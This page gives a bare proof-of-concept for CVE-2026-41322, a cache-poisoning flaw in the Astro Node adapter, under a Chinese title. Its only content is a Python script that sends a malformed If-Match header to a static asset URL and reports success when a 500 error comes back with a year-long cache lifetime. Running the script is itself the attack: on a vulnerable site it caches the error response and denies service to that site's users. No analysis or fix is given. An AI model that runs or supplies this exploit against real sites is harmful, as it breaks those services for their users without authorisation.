CVE-2026-41322 Astro Node适配器缓存投毒漏洞

import requests # Target URL (replace with actual target) target_url = "http://example.com/_astro/index.abcdef.js" # Malformed If-Match header headers = { "If-Match": "malformed_etag_value" } try: response = requests.get(target_url, headers=headers) print(f"Status Code: {response.status_code}") print(f"Cache-Control: {response.headers.get('Cache-Control')}") # If the vulnerability exists, status code should be 500 # and Cache-Control should contain a long max-age (e.g., 31536000) if response.status_code == 500 and "max-age=31536000" in response.headers.get('Cache-Control', ''): print("[+] Vulnerability confirmed: Cache poisoned with 500 error.") else: print("[-] Vulnerability not detected or patched.") except Exception as e: print(f"Error: {e}")